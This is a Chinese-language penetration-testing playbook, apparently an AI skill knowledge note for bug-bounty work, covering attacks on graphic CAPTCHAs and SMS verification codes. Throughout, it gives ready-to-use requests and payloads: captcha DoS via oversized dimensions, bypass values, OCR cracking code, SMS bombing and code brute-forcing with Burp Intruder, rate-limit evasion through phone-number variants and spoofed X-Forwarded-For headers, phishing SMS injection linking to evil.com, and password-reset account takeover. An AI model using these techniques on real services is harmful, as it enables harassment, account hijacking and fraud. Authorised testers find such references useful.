# 验证码渗透测试实战参考

> 分类: 图形验证码 → 短信验证码 → 绕过技巧 → 业务逻辑
> 来源: skill-evolver 实战知识沉淀

---

## 1. 图形验证码

### 1.1 图形验证码长宽可控 → DoS

测试: 找到验证码图片URL中的 `width` 和 `length` 参数, 修改为极大值。

```bash
# 原请求: GET /captcha?width=100&length=40
# 修改为:
GET /captcha?width=10000&length=10000
# 预期: 服务器CPU资源过度消耗, 响应时间显著增加(毫秒→数秒)
```

> 🔴 风险: 可造成服务器拒绝服务(DoS)。
> ⚠️ 注意: 部分 SRC 明确禁止 DoS 攻击, 提交可能面临法律责任。

### 1.2 图形验证码可绕过

开发可能在生产环境和测试环境使用两套验证逻辑:

```
测试环境: 验证码为 null / 空字符串 即可通过
生产环境遗留:
  - 提交验证码参数为 true → 通过 (代码: if(captcha == true) 跳过校验)
  - 验证码参数为空/不传 → 通过
  - 固定验证码: 0000 / 1111 / 1234 (上线前未删除测试代码)
```

**测试方法**:
```bash
# 1. 删除验证码参数提交
POST /login
username=admin&password=123456

# 2. 验证码参数设为 true
POST /login
username=admin&password=123456&captcha=true

# 3. 验证码参数设为空
POST /login
username=admin&password=123456&captcha=

# 4. 常见测试验证码
captcha=0000 / 1111 / 1234 / 6666 / 8888
```

### 1.3 图形验证码不失效

验证码使用后未失效, 可多次重复使用:

```bash
# 1. 获取验证码: GET /captcha → 验证码=ABCD
# 2. 正常登录 → 成功
# 3. 用同一验证码再次登录 → 如果成功 → 验证码不失效
```

### 1.4 图形验证码可识别

验证码噪点不足, 可被 OCR 工具自动识别:

```bash
# 工具: Tesseract OCR / ddddocr (Python)
pip install ddddocr
python -c "
import ddddocr
ocr = ddddocr.DdddOcr()
with open('captcha.jpg', 'rb') as f:
    print(ocr.classification(f.read()))
"
```

### 1.5 图形验证码随机值可控

验证码的随机值出现在 URL 中, 可被控制:

```bash
# 原请求: GET /captcha?characters=abCdEfGh
# 将 characters 固定为已知值:
GET /captcha?characters=aaaa
# 生成的验证码图片内容为 "aaaa" → 你知道答案
```

### 1.6 图形验证码返回到前端

登录后的响应包中返回了下一次验证码的内容:

```
请求: POST /login (成功登录)
响应: {"code":0, "next_captcha":"EFGH", ...}
→ 下一个验证码已知 → 可自动化绕过
```

---

## 2. 短信验证码

### 2.1 短信炸弹 - 纵向轰炸

在限制时间内对**同一个手机号**发送超过预期的短信条数:

```bash
# 抓包 → 发送验证码请求 → Burp Repeater 重放
POST /send-sms
phone=13800138000

# Burp Intruder: 使用 Null payloads, 并发发送50次
# 预期: 同一手机号收到 >5条短信
```

### 2.2 短信炸弹 - 横向轰炸

单个手机号被限制后, 遍历其他手机号:

```bash
# Intruder 设置 phone 参数为变量, 遍历手机号字典
POST /send-sms
phone=§13800138000§

# 手机号字典:
13800138000
13900139000
13700137000
# ... 批量手机号
```

### 2.3 短信验证码可爆破

验证码通常为4位或6位数字, 若未限制次数则可爆破:

```bash
# Burp Intruder:
# 位置: code=§0000§
# Payload类型: Numbers (0000-9999 或 000000-999999)
# 注意: 4位最多10000次, 6位最多1000000次
# 过滤条件: 响应长度/内容不同 → 爆破成功

# 或者使用已知验证码模式:
# 0000-9999 逐步遍历
# 关注响应状态码的变化或响应体中的成功标志
```

> 🔴 4位验证码爆破成功 → SRC通常按**高危**处理

### 2.4 短信内容可编辑

发送短信的请求中, 短信内容参数可控:

```bash
# 原请求:
POST /send-sms
phone=13800138000&content=【XX】您的验证码是:1234

# 修改 content:
POST /send-sms
phone=13800138000&content=【XX】您的验证码是:1234, 点击链接 http://evil.com 领取奖品
# 可篡改短信内容 → 钓鱼攻击
```

### 2.5 短信验证码在响应中返回

```bash
# 发送验证码的响应包中直接返回了验证码:
POST /send-sms → 200 OK
{"code":0, "sms_code":"123456", "msg":"发送成功"}
# 验证码明文字段可能叫: sms_code / captcha / verifyCode / code
```

### 2.6 每次短信验证码都相同 (验证码固定)

同一手机号多次发送验证码, 收到的验证码相同:

```
第1次: phone=13800138000 → 收到 123456
第2次: phone=13800138000 → 收到 123456
第3次: phone=13800138000 → 收到 123456

→ 验证码固定 → 配合无次数限制 = 可爆破 + 验证码固定双重漏洞
```

### 2.7 验证码不失效 - 多场景

```
场景1: 修改密码流程
  使用验证码进入修改密码页面 → 修改成功后 → 同一验证码可再次修改密码

场景2: 两条验证码
  先后发送两条验证码(A→B), B收到后A仍未失效
  用A验证码在B之后的时间点仍可通过验证
```

### 2.8 提交别人手机号的验证码

```
1. 手机A(13512341234) → 发送验证码 → 收到 111111
2. 手机B(18312341234) → 发送验证码 → 收到 222222
3. 手机A 使用 222222 → 也能正常登录/通过验证

→ 验证码与手机号未绑定
→ 任意账号密码重置: 给A发验证码, 拦截后改为B的手机号, 用B的验证码重置A的密码
```

---

## 3. 短信炸弹绕过技巧

### 3.1 特殊字符绕过

在手机号前后添加特殊字符, 使服务器判定为不同手机号:

```bash
# 原手机号: 13800138000
# 绕过变体:
08613800138000
008613800138000
+8613800138000
%2B8613800138000
13800138000%0d%0a
13800138000%0a
 13800138000  (前后空格)
```

### 3.2 XFF/IP 绕过

服务器按 IP 限制发送频率, 添加 XFF 头绕过:

```bash
POST /send-sms
X-Forwarded-For: 10.0.0.1
phone=13800138000

# 用 Intruder X-Forwarded-For 遍历不同IP:
X-Forwarded-For: §10.0.0.1§
# 带多个XFF头:
X-Forwarded-For: 10.0.0.1
X-Forwarded-For: 10.0.0.2
X-Forwarded-For: 10.0.0.3
```

### 3.3 多值参数绕过

```bash
# 方式1: 逗号分隔多个值
phone=13800138000,13900139000&code=1234

# 方式2: 同名参数
phone=13800138000&phone=13900139000&code=1234

# 方式3: 数组格式
phone[]=13800138000&phone[]=13900139000

# 方式4: JSON格式Body
{"phone":["13800138000","13900139000"],"code":"1234"}
```

### 3.4 修改返回包绕过

服务器响应返回失败(`false`)时修改为成功(`true`):

```
# 原始响应:
{"result":false, "msg":"发送频繁"}

# 修改为:
{"result":true, "msg":"发送成功"}
# 仅绕过客户端/前端校验, 后端仍需实际处理
```

### 3.5 并发绕过

对发送短信接口进行并发请求, 绕过频率限制:

```bash
# Burp Intruder:
# 使用 Null payloads, 并发线程设为 20-50
# 同时发送多条请求, 条件竞争导致限制失效
```

### 3.6 其他绕过方法

```
1. 手机号加前缀: 86-13800138000, +86 13800138000
2. 手机号加后缀: 13800138000@qq.com
3. 手机号URL编码: %31%33%38%30%30%31%33%38%30%30%30
4. 手机号Unicode: 138...
5. 手机号前后加空格/换行
6. 添加客户端IP伪造头: X-Real-IP, X-Client-IP, Client-IP
7. 修改请求方法: GET↔POST 互换
8. 修改Content-Type: application/x-www-form-urlencoded ↔ application/json
```

---

## 4. 验证码逻辑漏洞

### 4.1 验证码与手机号未绑定

```
场景: 注册/登录/密码重置
1. 手机A获取验证码 → 收到 111111
2. 提交: phone=A, code=222222 (手机B收到的验证码)
3. 如果通过 → 验证码与手机号未绑定
```

### 4.2 密码重置手机号篡改

```
场景: 密码重置流程
1. 输入手机号A → 发送验证码 → 拦截请求
2. 请求: POST /reset-password?phone=A&code=XXXX
3. 改为: POST /reset-password?phone=B&code=XXXX (用A的验证码重置B的密码)
4. 如果通过 → 任意手机号密码重置
```

---

## 5. 测试检查清单

### 图形验证码
- [ ] 长宽参数可控 → DoS
- [ ] 空/null/true 可绕过
- [ ] 使用后未失效 (重复使用)
- [ ] 可OCR自动识别
- [ ] 随机值参数可控
- [ ] 验证码返回到前端响应

### 短信验证码
- [ ] 短信炸弹 - 纵向 (同一手机号)
- [ ] 短信炸弹 - 横向 (遍历手机号)
- [ ] 验证码4/6位可爆破
- [ ] 验证码在响应中返回
- [ ] 验证码固定 (每次相同)
- [ ] 验证码不失效 (多场景)
- [ ] 短信内容可篡改
- [ ] 验证码与手机号未绑定

### 绕过技巧
- [ ] 特殊字符绕过 (+86, 086, 空格)
- [ ] XFF/IP 头绕过
- [ ] 多值/同名参数绕过
- [ ] 返回包篡改绕过
- [ ] 并发绕过 (条件竞争)
- [ ] URL编码/Unicode绕过
- [ ] 修改请求方法/Content-Type绕过

---

*参考: skill-evolver 实战知识沉淀 + 补天平台分享*
*✅ skill-evolver 2026-06-05 新增*
